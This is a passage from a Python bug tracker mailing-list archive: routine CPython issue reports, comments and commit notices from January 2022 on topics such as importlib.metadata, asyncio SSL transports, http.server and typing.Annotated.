---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:17:45 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 15:17:45 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642951065.18.0.027581471653.issue46474@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 1514d1252f96e6a83eb65c439522a6b5443f6a1a by Jason R. Coombs in branch '3.9': [3.9] bpo-46474: Avoid REDoS in EntryPoint.pattern (sync with importlib_metadata 4.10.1) (GH-30803). (GH-30828) https://github.com/python/cpython/commit/1514d1252f96e6a83eb65c439522a6b5443f6a1a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:19:20 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 15:19:20 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642951160.31.0.92128558791.issue46474@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:39:49 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 15:39:49 +0000 Subject: [issue46481] Implement vectorcall protocol for weakref_call() In-Reply-To: <1642920614.99.0.42696880925.issue46481@roundup.psfhosted.org> Message-ID: <1642952389.06.0.457131874149.issue46481@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 76dc047a0e88d10aad0405228d56e94438cdd91c by Dong-hee Na in branch 'main': bpo-46481: Implement vectorcall for weakref.ref.__call__ method. (GH-30820) https://github.com/python/cpython/commit/76dc047a0e88d10aad0405228d56e94438cdd91c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:40:10 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 15:40:10 +0000 Subject: [issue46481] Implement vectorcall protocol for weakref_call() In-Reply-To: <1642920614.99.0.42696880925.issue46481@roundup.psfhosted.org> Message-ID: <1642952410.54.0.197400796814.issue46481@roundup.psfhosted.org> Change by Dong-hee Na : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:52:24 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 15:52:24 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642953144.6.0.00811454326365.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: > Be careful, Python must remain usable after Py_Finalize(): it's legit to call Py_Initialize() again and execute new Python code. Example executing the same code 4 times, each time Py_Initialize() and Py_Finalize() are called: ./Programs/_testembed test_repeated_init_exec 'print("Hello")' With the current design, it isn't possible though because the code objects are modified in place so if co_quickened is freed the VM still tries to execute the copied instructions. See https://github.com/python/cpython/blob/76dc047a0e88d10aad0405228d56e94438cdd91c/Python/specialize.c#L425 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 11:13:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 16:13:15 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642954395.28.0.586158303229.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: Aha. Maybe for now, the memory of immortal code objects can be deallocated in pymain_free(). It's the last function called before Python exit the process. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 11:49:39 2022 From: report at bugs.python.org (Nova) Date: Sun, 23 Jan 2022 16:49:39 +0000 Subject: [issue46487] `_SSLProtocolTransport` doen't have the `get_write_buffer_limits` implementation. Message-ID: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> New submission from Nova : When calling `get_write_buffer_limits` on a SSL transport the following exception is raised: ```py Traceback (most recent call last): File "/home/mooncell/works/test.py", line 26, in asyncio.run(main()) File "/usr/lib/python3.10/asyncio/runners.py", line 44, in run return loop.run_until_complete(main) File "/usr/lib/python3.10/asyncio/base_events.py", line 641, in run_until_complete return future.result() File "/home/mooncell/works/test.py", line 24, in main print(transport.get_write_buffer_limits()) File "/usr/lib/python3.10/asyncio/transports.py", line 306, in get_write_buffer_limits return (self._low_water, self._high_water) AttributeError: '_SSLProtocolTransport' object has no attribute '_low_water'. Did you mean: '_high_water'? ``` We looked into the implementation and found out that `_SSLProtocolTransport` didn't override the `_FlowControlMixin.get_write_buffer_limits`. ---------- components: asyncio messages: 411382 nosy: asvetlov, mooncell07, yselivanov priority: normal severity: normal status: open title: `_SSLProtocolTransport` doen't have the `get_write_buffer_limits` implementation. type: enhancement versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:01:08 2022 From: report at bugs.python.org (Ben) Date: Sun, 23 Jan 2022 17:01:08 +0000 Subject: [issue46473] importlib.metadata does not honor .egg-link files In-Reply-To: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org> Message-ID: <1642957268.88.0.609113543063.issue46473@roundup.psfhosted.org> Ben added the comment: https://github.com/python/importlib_metadata/issues/364 ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:08:12 2022 From: report at bugs.python.org (Barry Schwartz) Date: Sun, 23 Jan 2022 17:08:12 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. Message-ID: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> New submission from Barry Schwartz : The Objects/listsort.txt incorrectly implies that it is not possible to compute leading zero bits in O(1) time, using only standard C. For a fixed integer size it can be done, for instance, using de Bruijn sequences. See https://www.chessprogramming.org/BitScan (The existence of such methods is not as widely known as it ought to be.) ---------- assignee: docs at python components: Documentation messages: 411384 nosy: chemoelectric, docs at python priority: normal severity: normal status: open title: listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:15:26 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 23 Jan 2022 17:15:26 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1642958126.37.0.452052067186.issue46488@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:17:27 2022 From: report at bugs.python.org (Jacob Walls) Date: Sun, 23 Jan 2022 17:17:27 +0000 Subject: [issue46440] ArgumentParser.parse_args exits on missing required argument with exit_on_error=False In-Reply-To: <1642626270.03.0.621125172575.issue46440@roundup.psfhosted.org> Message-ID: <1642958247.11.0.0802224937764.issue46440@roundup.psfhosted.org> Change by Jacob Walls : ---------- keywords: +patch nosy: +jacobtylerwalls nosy_count: 1.0 -> 2.0 pull_requests: +29018 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30832 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:21:34 2022 From: report at bugs.python.org (Nova) Date: Sun, 23 Jan 2022 17:21:34 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1642958494.15.0.3582186688.issue46487@roundup.psfhosted.org> Change by Nova : ---------- title: `_SSLProtocolTransport` doen't have the `get_write_buffer_limits` implementation. -> `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:21:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 17:21:36 +0000 Subject: [issue40757] tarfile: ignore_zeros = True won't raise exception even on invalid (non-zero) TARs In-Reply-To: <1590343844.38.0.257135087645.issue40757@roundup.psfhosted.org> Message-ID: <1642958496.68.0.0456338693046.issue40757@roundup.psfhosted.org> Irit Katriel added the comment: Thank you for clarifying. I can reproduce this on 3.11. ---------- resolution: out of date -> versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:30:29 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 17:30:29 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642959029.08.0.0402444489805.issue41682@roundup.psfhosted.org> Guido van Rossum added the comment: I'm wondering if the test is faulty. It seems to call EventLoop.sendfile() with a file that is 8K + 1 byte long, and the protocol is instructed to close after 1K bytes have been written, but it seems to try to send as much of the file as it can. Could it be that on Win22 the primitive used (TransmitFile) has an internal minimum buffer size that exceeds this file size, so the first call sends the whole file and there's no error? @Andrew Svetlov, do you know enough of the internals of this code to validate my theory? ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:30:55 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 Jan 2022 17:30:55 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642959055.42.0.6225866581.issue46376@roundup.psfhosted.org> Serhiy Storchaka added the comment: It is difficult to distinguish Mapping from Sequence because they have the same set of dunder methods. The difference is only in semantic -- __iter__ yields items for Sequence and keys for Mapping, __getitem__ gets an item by index (or a sequence by slice) for Sequence and value by key for Mapping. But semantic cannot be tested here. In these cases when both Sequence and Mapping are accepted but handled differently (like in the dict constructor) we test for existence of the "keys" method. It is not good, because it is not a dunder method, and therefore should be looked up at instance, not only at a type. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:38:17 2022 From: report at bugs.python.org (Alex Grund) Date: Sun, 23 Jan 2022 17:38:17 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1642959497.9.0.556841557248.issue38472@roundup.psfhosted.org> Alex Grund added the comment: Yes this is still an issue. I'm trying to compile Python on an HPC system which uses modules (see e.g. LMod). Yes with LC_ALL=C it does write "gcc version 9.1.0 ..." ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:40:24 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 17:40:24 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642959624.07.0.799745206246.issue41403@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch nosy: +iritkatriel nosy_count: 6.0 -> 7.0 pull_requests: +29019 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30833 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:40:42 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 23 Jan 2022 17:40:42 +0000 Subject: [issue46103] inspect.getmembers will call the instance __bases__ attribute, which may cause an exception In-Reply-To: <1639669243.89.0.636826061264.issue46103@roundup.psfhosted.org> Message-ID: <1642959642.49.0.397527150881.issue46103@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 691506f4e9408a1205166f99640946ad7822e302 by Weipeng Hong in branch 'main': bpo-46103: Fix inspect.getmembers to only get __bases__ from class (GH-30147) https://github.com/python/cpython/commit/691506f4e9408a1205166f99640946ad7822e302 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:46:04 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 Jan 2022 17:46:04 +0000 Subject: [issue46471] use global singletons for single byte bytes objects in deepfreeze In-Reply-To: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org> Message-ID: <1642959964.69.0.790387351998.issue46471@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset ca78130d7eb5265759697639e42487ec6d0a4caf by Kumar Aditya in branch 'main': bpo-46471: Use single byte singletons (GH-30781) https://github.com/python/cpython/commit/ca78130d7eb5265759697639e42487ec6d0a4caf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:53:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 17:53:52 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1642960432.29.0.754537341627.issue38472@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: out of date -> versions: -Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:54:22 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 Jan 2022 17:54:22 +0000 Subject: [issue21987] TarFile.getmember on directory requires trailing slash iff over 100 chars In-Reply-To: <1405482059.28.0.321220843423.issue21987@psf.upfronthosting.co.za> Message-ID: <1642960462.33.0.716267944486.issue21987@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 94d6434ba7ec3e4b154e515c5583b0b665ab0b09 by Miss Islington (bot) in branch '3.9': [3.9] bpo-21987: Fix TarFile.getmember getting a dir with a trailing slash (GH-30283) (GH-30738) https://github.com/python/cpython/commit/94d6434ba7ec3e4b154e515c5583b0b665ab0b09 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:54:59 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 Jan 2022 17:54:59 +0000 Subject: [issue21987] TarFile.getmember on directory requires trailing slash iff over 100 chars In-Reply-To: <1405482059.28.0.321220843423.issue21987@psf.upfronthosting.co.za> Message-ID: <1642960499.3.0.913536693877.issue21987@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:05:00 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Sun, 23 Jan 2022 18:05:00 +0000 Subject: [issue46285] protocol_version in http.server.test can be ignored In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1642961100.61.0.200618402709.issue46285@roundup.psfhosted.org> G?ry added the comment: Thanks Hugo for opening this issue and ?ric for inviting me. As you guys pointed out, function test in module http.server expects a real handler class argument (SimpleHTTPRequestHandler or CGIHTTPRequestHandler), not a partial object partial(SimpleHTTPRequestHandler, directory=args.directory) or partial(CGIHTTPRequestHandler, directory=args.directory), so that the assignment of protocol_version class attribute in test is not ignored. The partial object in the if __name__ == '__main__' branch of module http.server was introduced in the first place to pass the directory argument to the handler class?s __init__ method called in method BaseServer.finish_request: def finish_request(self, request, client_address): """Finish one request by instantiating RequestHandlerClass.""" self.RequestHandlerClass(request, client_address, self) But finish_request is a factory method of BaseServer (the abstract creator) so it is DESIGNED to be overridden in subclasses to customize the instantiation of the handler class BaseRequestHandler (the abstract product). So the proper way to instantiate SimpleHTTPRequestHandler and CGIHTTPRequestHandler with the directory argument is to override BaseServer.finish_request. That is what I have just did by updating my PR here: https://github.com/python/cpython/pull/30701/commits/fc7f95f9d270a8a83cb2fd6d51eb0f904b85e0d9 It fixes both #46285 and #46436. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:29:33 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Sun, 23 Jan 2022 18:29:33 +0000 Subject: [issue46436] Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler In-Reply-To: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org> Message-ID: <1642962573.68.0.0801390367745.issue46436@roundup.psfhosted.org> G?ry added the comment: Thanks for mentioning this issue @merwok. As you pointed out, function `test` in module [`http.server`](https://github.com/python/cpython/blob/main/Lib/http/server.py) expects a real request handler class argument (`SimpleHTTPRequestHandler` or `CGIHTTPRequestHandler`), not a partial object `partial(SimpleHTTPRequestHandler, directory=args.directory)` or `partial(CGIHTTPRequestHandler, directory=args.directory)`, so that the assignment of `protocol_version` class attribute in test is not ignored. The partial object in the `if __name__ == '__main__'` branch of module `http.server` was introduced in the first place to pass the directory argument to the request handler class?s `__init__` method called in method `BaseServer.finish_request` of module [`socketserver`](https://github.com/python/cpython/blob/main/Lib/socketserver.py): def finish_request(self, request, client_address): """Finish one request by instantiating RequestHandlerClass.""" self.RequestHandlerClass(request, client_address, self) But `BaseServer.finish_request` is a factory method of `BaseServer` (the abstract creator) so it is *designed* to be overridden in subclasses to customize the instantiation of the request handler class `BaseRequestHandler` (the abstract product). So the proper way to instantiate `SimpleHTTPRequestHandler` and `CGIHTTPRequestHandler` with the `directory` argument is to override `BaseServer.finish_request`. I have just updated my PR to implement this. It fixes both [#46285](https://bugs.python.org/issue46285) and [#46436](https://bugs.python.org/issue46436). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:29:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:29:53 +0000 Subject: [issue30510] c_bool type not supported for BigEndianStructure on little-endian machine In-Reply-To: <1496140554.49.0.81782531481.issue30510@psf.upfronthosting.co.za> Message-ID: <1642962593.28.0.0959206441736.issue30510@roundup.psfhosted.org> Irit Katriel added the comment: Reproduced on 3.11: >>> from ctypes import * >>> class r( BigEndianStructure ): ... _fields_ = [( "d0", c_uint32), ... ( "d1", c_bool ) ... ] ... Traceback (most recent call last): File "", line 1, in File "/Users/iritkatriel/src/cpython-654/Lib/ctypes/_endian.py", line 31, in __setattr__ fields.append((name, _other_endian(typ)) + rest) ^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython-654/Lib/ctypes/_endian.py", line 21, in _other_endian raise TypeError("This type does not support other endian: %s" % typ) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ TypeError: This type does not support other endian: ---------- nosy: +iritkatriel versions: +Python 3.11 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:34:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:34:02 +0000 Subject: [issue24046] Incomplete build on AIX In-Reply-To: <1429844081.77.0.468875149896.issue24046@psf.upfronthosting.co.za> Message-ID: <1642962842.67.0.16774059249.issue24046@roundup.psfhosted.org> Irit Katriel added the comment: 2.7 is no longer maintained. Please create new issues for build problems on current versions (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:37:37 2022 From: report at bugs.python.org (Danylo) Date: Sun, 23 Jan 2022 18:37:37 +0000 Subject: [issue46489] webbrowser crashes Ubuntu kernel Message-ID: <1642963057.93.0.950018315432.issue46489@roundup.psfhosted.org> New submission from Danylo : I've been hunting this problem for half a year already. With other hypotheses rejected - Linux issue, old PC, PyCharm bug, bad luck, - the webbrowser Python lib supposedly makes the Ubuntu kernel panic. Either from a terminal or within PyCharm (happens on both), I run ``` controller = webbrowser.get('google-chrome') for link in links_list: # up to 10 items controller.open(link) time.sleep(1) ``` and the system crashes (hangs until a hard or soft reset) after several web pages are opened in my Chrome browser as the result of running the program. All the details you'll find at https://askubuntu.com/questions/1370213/ubuntu-hangs-and-becomes-unresponsive-until-reset. I first thought it's something wrong with Ubuntu, and I opened a question on the forum. The only detail I've not added there is that after each crash I can move the mouse on the screen but cannot interact with anything. That thing always puzzled me. I can neither say the website I'm running the webbrowser nor test it on other domains - the issue happens sporadically, once in several hours of me opening and closing a Chrome browser controlled by the webbrowser lib. Python 3.9.7, installed with Anaconda. I've tried older versions of Python. Ubuntu 20.04 LTS. ---------- components: Library (Lib) messages: 411396 nosy: dizcza priority: normal severity: normal status: open title: webbrowser crashes Ubuntu kernel type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:40:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:40:14 +0000 Subject: [issue27954] makesetup does not take into account subdirectories In-Reply-To: <1473002143.7.0.439810404668.issue27954@psf.upfronthosting.co.za> Message-ID: <1642963214.02.0.986827699062.issue27954@roundup.psfhosted.org> Irit Katriel added the comment: David, is this still an issue on current versions? Can you spell out the precise steps to reproduce the problem? ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:41:22 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 Jan 2022 18:41:22 +0000 Subject: [issue46471] use global singletons for single byte bytes objects in deepfreeze In-Reply-To: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org> Message-ID: <1642963282.85.0.630069421205.issue46471@roundup.psfhosted.org> Erlend E. Aasland added the comment: Can we close this, or are you expecting more changes? ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:41:48 2022 From: report at bugs.python.org (Delgan) Date: Sun, 23 Jan 2022 18:41:48 +0000 Subject: [issue46490] Add "follow_symlinks=False" support for "os.utime()" on Windows Message-ID: <1642963308.84.0.964070745498.issue46490@roundup.psfhosted.org> New submission from Delgan : Hi. Currently, trying to use "os.utime(path, timestamps, follow_symlinks=False)" raises a exception on Windows: "NotImplementedError: utime: follow_symlinks unavailable on this platform". Looking at the Win32 API it seems possible to open a symbolic link by specifying the "FILE_FLAG_OPEN_REPARSE_POINT" flag: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew#symbolic-link-behavior Do you think it would be possible to update "os.utime()" implementation and optionally pass the flag here: https://github.com/python/cpython/blob/ca78130d7eb5265759697639e42487ec6d0a4caf/Modules/posixmodule.c#L5516 ? ---------- components: Library (Lib) messages: 411399 nosy: Delgan priority: normal severity: normal status: open title: Add "follow_symlinks=False" support for "os.utime()" on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:42:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:42:52 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642963372.52.0.434110214648.issue41403@roundup.psfhosted.org> Irit Katriel added the comment: New changeset f7955a82e36d4c32ebdd7b7707cdf0e6ffa7a418 by Irit Katriel in branch 'main': bpo-41403: Improve error message for invalid mock target (GH-30833) https://github.com/python/cpython/commit/f7955a82e36d4c32ebdd7b7707cdf0e6ffa7a418 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:48:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:48:39 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642963719.28.0.74054024683.issue41403@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29020 pull_request: https://github.com/python/cpython/pull/30834 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:52:24 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:52:24 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642963944.08.0.709782291299.issue41403@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29021 pull_request: https://github.com/python/cpython/pull/30835 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:54:23 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 23 Jan 2022 18:54:23 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642964063.88.0.324704671368.issue46449@roundup.psfhosted.org> Christian Heimes added the comment: If you modify the freeze_modules script to generate code like https://github.com/python/cpython/compare/main...tiran:split_frozen?expand=1 , then I can add a build option to compile Python with only required frozen modules. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:58:56 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:58:56 +0000 Subject: [issue37886] PyStructSequence_UnnamedField not exported In-Reply-To: <1566218629.27.0.381481574182.issue37886@roundup.psfhosted.org> Message-ID: <1642964336.47.0.941216927375.issue37886@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> PyStructSequence_UnnamedField unavailable on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:59:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 18:59:47 +0000 Subject: [issue39731] ModuleNotFoundError: No module named '_ctypes' In-Reply-To: <1582466142.44.0.612475216639.issue39731@roundup.psfhosted.org> Message-ID: <1642964387.98.0.138656067947.issue39731@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:00:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:00:50 +0000 Subject: [issue39708] final link stage in compile fails for 3.8.1 with missing CFLAGS In-Reply-To: <1582294142.91.0.373502818362.issue39708@roundup.psfhosted.org> Message-ID: <1642964450.48.0.714496055289.issue39708@roundup.psfhosted.org> Irit Katriel added the comment: Version 3.8 is no longer maintained. Please create a new issue if you are having this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:02:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 23 Jan 2022 19:02:00 +0000 Subject: [issue41603] Compilation issue 3.8.5 with Redhat 7.8 and gcc version 4.8.5 20150623 (Red Hat 4.8.5-39) (GCC) In-Reply-To: <1597966827.71.0.80485708689.issue41603@roundup.psfhosted.org> Message-ID: <1642964520.64.0.377383518941.issue41603@roundup.psfhosted.org> Irit Katriel added the comment: Please create a new issue if you are seeing this problem on a supported version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:03:20 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Sun, 23 Jan 2022 19:03:20 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope Message-ID: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> New submission from Gregory Beauregard : Currently, `typing.Annotated` (PEP 593) cannot be used at runtime with `typing.Final` and `typing.ClassVar` with `Annotated` on the outside: ``` from typing import Annotated, Final # TypeError: typing.Final[int] is not valid as type argument var: Annotated[Final[int], "foo"] = 4 ``` The only tenuously related mention of this I can find in a PEP is in PEP 593 (Annotated) which states "The first argument to Annotated must be a valid type". I believe the runtime behavior should be changed to allow any ordering for `Annotated` with `ClassVar` and `Final`. This was discussed in the typing-sig PEP 655 thread (TypedDict `Required` and `NotRequired`) where the current plan is to allow `Required`/`NotRequired` in any nesting order with `Annotated` while suggesting the `ClassVar`/`Final` ordering restriction be lifted: https://mail.python.org/archives/list/typing-sig at python.org/message/22CJ5TJGIJ563D6ZKB7R3VUZXTZQND5X/ The argument for doing so is on the mailing list: https://mail.python.org/archives/list/typing-sig at python.org/message/MPMOIBX3XFXCD4ZNDC6AV4CLSI5LN544/ To summarize: adopting an overly strict view of what constitutes a valid type for `Annotated` creates difficulties for people who use runtime introspection of `Annotated` annotations by requiring them to parse additional typing or field annotations (https://bugs.python.org/msg411067). This needlessly exacerbates tension between typing and non-typing uses of annotation space. In order to be a good citizen to other annotation users, the `Annotated` runtime ordering restriction should be lifted. ---------- messages: 411404 nosy: GBeauregard priority: normal severity: normal status: open title: typing: allow Annotated in outermost scope type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:07:41 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 19:07:41 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1642964861.07.0.858472315015.issue46491@roundup.psfhosted.org> Jelle Zijlstra added the comment: I support making this change. It looks like the simplest implementation is simply to remove the mention of ClassVar and Final in typing._type_check. ---------- components: +Library (Lib) nosy: +Jelle Zijlstra, gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:09:41 2022 From: report at 